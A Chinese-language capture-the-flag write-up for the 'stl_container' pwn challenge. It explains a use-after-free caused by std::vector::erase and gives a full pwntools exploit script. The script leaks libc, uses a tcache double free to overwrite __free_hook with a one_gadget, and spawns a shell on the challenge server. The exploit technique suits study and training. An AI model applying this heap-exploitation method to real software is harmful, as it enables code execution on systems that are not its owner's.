漏洞点是:使用C++中的STL中vector存储对象的指针时,在earse清除其中元素时,总会调用最后一个对象的析构函数,最终导致存在悬空指针,并且可以被使用,即UAF。其使用的方式是可以继续free以及show其内容。
利用方式:本题libc版本为2.27,故可以使用构造tcache的DoubleFree完成任意地址写任意值。题目开启了全部保护,所以首先通过堆排布的手段泄露libc基址。然后通过DoubleFree覆盖libc中的__free_hook函数指针为one_gadget,并触发即可getshell。
- CTFtime: stl_container
- 题目文件: cpp_attachment.zip
- 官方WP: stl_container
漏洞成因在做题的时候不是很明白,但是经过简单的测试以及调试就能发现打印出了奇怪的字符串,所以做题未必非要清楚漏洞成因:
- std::vector::erase
- Is destructor called when removing element from STL container?
- STL释放指针元素时造成的内存泄露
- STL源码分析之vector
from pwn import *
context(arch="amd64",os ='linux',log_level='debug')
myelf = ELF("./stl_container")
libc = ELF('./libc-2.27.so')
io = remote("134.175.239.26",8848)
#io = process(myelf.path,env={"LD_PRELOAD" : libc.path})
uu64 = lambda data : u64(data.ljust(8, b'\0'))
sla = lambda delim,data : (io.sendlineafter(delim, data))
List = lambda : (sla(">> ",'1'))
vector = lambda : (sla(">> ",'2'))
queue = lambda : (sla(">> ",'3'))
stack = lambda : (sla(">> ",'4'))
add = lambda data : (sla(">> ",'1'),sla("data:",data))
delete = lambda idx : (sla(">> ",'2'),sla("?\n",str(idx)))
show = lambda idx : (sla(">> ",'3'),sla("?\n",str(idx)))
# full tache
vector();add("123")
vector();add("456")
List();add("123")
List();add("123")
queue();add("123")
queue();add("456")
stack();add("123")
stack();add("456")
stack();vector()
stack();vector()
queue();vector()
queue();vector()
List();delete(1)
List();delete(0)
# free chunks to unsorted bin
vector();delete(0)
# leak libc
vector();show(0)
io.recvuntil(": ")
libc_addr = uu64(io.recv(6))-0x3ebca0
log.warn(hex(libc_addr))
# clear tcache
List();add("123")
List();add("123")
queue();add("123")
queue();add("456")
stack();add("123")
stack();add("456")
vector();add("123")
# tcache double free for arbitrary address write
vector();delete(0)
vector();delete(0)
# use aaw to modify __free_hook to one_gadget
vector();add(p64(libc_addr+libc.symbols['__free_hook']))
vector();add(p64(libc_addr+0x4f322))
io.interactive()